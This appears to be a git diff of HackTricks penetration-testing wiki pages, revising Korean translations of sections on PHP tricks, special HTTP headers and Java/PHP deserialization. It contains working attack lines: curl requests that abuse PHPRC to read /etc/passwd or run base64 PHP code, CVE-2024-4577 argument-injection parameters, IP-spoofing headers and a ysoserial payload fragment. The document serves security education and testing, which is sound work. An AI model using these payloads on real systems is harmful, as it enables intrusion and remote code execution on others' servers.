호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다: ```php ``` -## 경로 탐색 및 파일 포함 취약점 +## Path Traversal and File Inclusion Exploitation Check: @@ -151,18 +151,19 @@ Check: ../../../pentesting-web/file-inclusion/ {{#endref}} -## 더 많은 트릭 +## More tricks -- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 e.g. $\_GET\["param"]="1234", 이를 **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 **덮어쓸 수 있습니다**. -- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\ -이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써). -- 머신 사용자의 **사용자 이름**이 있을 때, 주소를 확인하세요: **/\~\** php 디렉토리가 활성화되어 있는지 확인합니다. -- [**LFI 및 RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) +- **register_globals**: In **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다 (또는 그 동작이 모방되고 있습니다). 이는 $\_GET과 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다\*\*. +- **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\ +이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** path1의 **변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다 (path2에서 해당 이름에 맞는 쿠키를 부여함으로써). +- 머신의 **사용자 이름**을 알고 있을 때, 주소 **/\~\**를 확인하여 php 디렉토리가 활성화되어 있는지 확인하십시오. +- php 설정에 **`register_argc_argv = On`**이 설정되어 있으면, 공백으로 구분된 쿼리 매개변수가 **`array_keys($_SERVER['argv'])`** 배열을 채우는 데 사용됩니다 **CLI의 인수처럼**. 이는 흥미로운데, 만약 **그 설정이 꺼져 있다면**, 웹에서 호출할 때 **args 배열의 값은 `Null`**이 됩니다. 따라서 웹 페이지가 `if (empty($_SERVER['argv'])) {`와 같은 비교로 웹에서 실행되고 있는지 CLI 도구로 실행되고 있는지를 확인하려고 할 때, 공격자는 **GET 요청에 `?--configPath=/lalala`와 같은 매개변수를 전송할 수 있으며** 이는 CLI로 실행되고 있다고 생각하게 되어 해당 인수를 파싱하고 사용할 수 있습니다. 더 많은 정보는 [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)에서 확인하십시오. +- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\ -지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하세요.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다: +이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\ +지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (시작은 `$2y$`). **PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -184,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### 헤더 설정 전에 본문 채우기 -**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하도록 만들어서 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\ -다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다): +**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\ +다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키게 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다): ![](<../../../images/image (1085).png>) @@ -263,17 +264,17 @@ usort();}phpinfo;#, "cmp"); - `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다. - `?order=id);}//`: **경고**가 발생합니다. 적절한 것 같습니다. -- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많은 것 같습니다. +- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많을 수 있습니다. ### **.httaccess를 통한 RCE** -**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성됨). +**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성). 다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다. -### 환경 변수를 통한 RCE +### 환경 변수로 인한 RCE -PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일 업로드를 허용하는 또 다른 취약점이 있을 수 있지만, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다. +PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 있다면, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우 작동하지 않을 수 있습니다). - **`PHPRC`**: PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다. @@ -284,13 +285,13 @@ PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파 - **PHPRC** - 또 다른 옵션 - 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` -- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**로 파일을 전처리합니다: +- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` - 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져왔습니다. ### XAMPP CGI RCE - CVE-2024-4577 -웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다: +웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -324,11 +325,11 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에 `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2` +PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에서 `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2` ### PHP 코드 디오브퓨스케이팅 -PHP 코드를 디오브퓨스케이팅하려면 **web**[ **www.unphp.net**](http://www.unphp.net) **을 사용할 수 있습니다.** +PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.** ## PHP 래퍼 및 프로토콜 diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 736226b88..f6e7c9526 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -1,15 +1,15 @@ -# 특수 HTTP 헤더 +# Special HTTP headers {{#include ../../banners/hacktricks-training.md}} -## 단어 목록 및 도구 +## Wordlists & Tools - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers) - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble) -## 위치 변경을 위한 헤더 +## Headers to Change Location -**IP 출처** 재작성: +Rewrite **IP source**: - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -26,16 +26,16 @@ - `True-Client-IP: 127.0.0.1` - `Cluster-Client-IP: 127.0.0.1` - `Via: 1.0 fred, 1.1 127.0.0.1` -- `Connection: close, X-Forwarded-For` (호프-바이-호프 헤더 확인) +- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers) -**위치** 재작성: +Rewrite **location**: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -## 호프-바이-호프 헤더 +## Hop-by-Hop headers -호프-바이-호프 헤더는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다. +A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다. - `Connection: close, X-Forwarded-For` @@ -43,7 +43,7 @@ ../../pentesting-web/abusing-hop-by-hop-headers.md {{#endref}} -## HTTP 요청 스머글링 +## HTTP Request Smuggling - `Content-Length: 30` - `Transfer-Encoding: chunked` @@ -52,14 +52,14 @@ ../../pentesting-web/http-request-smuggling/ {{#endref}} -## 캐시 헤더 +## Cache Headers **서버 캐시 헤더**: -- 응답의 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가질 수 있습니다. -- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작이 나타납니다. +- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다. +- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다. - **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800` -- **`Vary`**는 응답에서 **추가 헤더**를 나타내기 위해 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다. +- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다. - **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다. - **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다. @@ -74,49 +74,50 @@ - `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일합니다. - `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태와 관련된 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"` -## 조건부 요청 +## Conditionals - 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더\*\*`Last-Modified`\*\*에 다른 시간이 포함된 경우에만 데이터로 응답합니다. - **`If-Match`** 및 **`If-None-Match`**를 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답의 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다. -- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산됩니다**. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다. +- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다. -## 범위 요청 +## Range requests - **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: ` -- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. +- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요. +- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다. - **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다. - **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다. -## 메시지 본문 정보 +## Message body information - **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다. - **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다. - **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다. -- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호 언어에 따라 구분할 수 있도록 합니다. +- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다. - **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다. 펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\ 예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다: -- 헤더 `Range: bytes=20-20`가 있는 요청과 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 경우, 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다. +- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다. -## 서버 정보 +## Server Info - `Server: Apache/2.4.1 (Unix)` - `X-Powered-By: PHP/5.3.3` -## 제어 +## Controls - **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예를 들어, `Allow: GET, POST, HEAD`로 지정될 수 있으며, 이는 리소스가 이러한 메서드를 지원함을 나타냅니다. -- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도를 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다. +- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도가 있음을 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다. -## 다운로드 +## Downloads -- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부 파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어: +- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어: ``` Content-Disposition: attachment; filename="filename.jpg" ``` -이것은 "filename.jpg"라는 이름의 파일이 다운로드되어 저장될 의도임을 의미합니다. +이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다. ## 보안 헤더 @@ -165,20 +166,20 @@ Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true ``` -### **Cross-Origin Embedder Policy (COEP) 및 Cross-Origin Opener Policy (COOP)** +### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)** -COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호 작용을 제어합니다. +COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다. ``` Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin-allow-popups ``` ### **HTTP Strict Transport Security (HSTS)** -마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호와 보안을 강화합니다. +마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다. ``` Strict-Transport-Security: max-age=3153600 ``` -## 참고 문헌 +## References - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 100068a92..3d6494f8b 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,11 +4,11 @@ ## Basic Information -**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다. +**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 그 구조와 상태를 유지하는 데 일반적으로 사용됩니다. **Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다. -Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있게 할 가능성이 있기 때문에 위험할 수 있습니다.** +Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있도록 허용할 가능성이 있기 때문에 위험할 수 있습니다.** ## PHP @@ -18,7 +18,7 @@ PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 - `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다. - `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다. - `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다. -- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 합니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다. +- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다. ```php payload @@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다. +**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, "$()"를 사용하여 명령을 실행하거나, 심지어 **공백으로 구분된 인수**를 명령에 전달할 수 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다. 다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요: ```python @@ -475,7 +475,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti pom ``` -**maven을 설치**하고, **프로젝트를 컴파일**하세요: +**Maven을 설치**하고, **프로젝트를 컴파일**합니다: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -512,20 +512,20 @@ private transient double margin; // declared transient ``` #### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오 -특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 이러한 객체가 비역직렬화 가능하도록 `final` `readObject()` 메서드를 정의하여 항상 예외를 발생시키도록 하십시오. 아래와 같이: +특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **Java에서 역직렬화 보안 강화** +#### **Java에서 역직렬화 보안 강화하기** **`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다: - 역직렬화 코드가 귀하의 제어 하에 있을 때. -- 역직렬화에 예상되는 클래스가 알려져 있을 때. +- 역직렬화에 필요한 클래스가 알려져 있을 때. -**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 제한하여, 명시적으로 허용된 클래스 외에는 어떤 클래스도 역직렬화되지 않도록 방지합니다: +**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 명시적으로 허용된 클래스를 제외한 모든 클래스의 역직렬화를 방지합니다: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); ## JNDI 주입 및 log4Shell -**JNDI 주입, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**를 다음 페이지에서 확인하세요: +**JNDI 주입이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법**(이 취약점의 예시 포함)은 다음 페이지에서 확인할 수 있습니다: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -610,10 +610,10 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 악용 -기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\ +기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\ 이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다. -서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다. +서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다. 도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다. @@ -639,26 +639,26 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### 블랙박스 -서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 검색해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 